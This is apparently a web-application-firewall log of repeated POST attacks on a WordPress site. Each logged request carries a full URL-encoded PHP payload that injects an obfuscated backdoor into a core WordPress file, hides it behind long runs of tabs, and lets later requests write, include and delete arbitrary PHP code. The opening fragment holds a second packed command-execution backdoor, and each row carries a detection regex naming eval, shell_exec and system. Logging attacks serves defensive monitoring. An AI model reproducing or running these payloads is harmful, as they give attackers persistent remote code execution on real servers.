6%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 12:47:03","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJaxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4967\naccept:*\/*\n\nZy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:47:34","217.217.254.45","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Dk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4967\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvETfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\n\nDk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:47:38","93.39.85.202","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D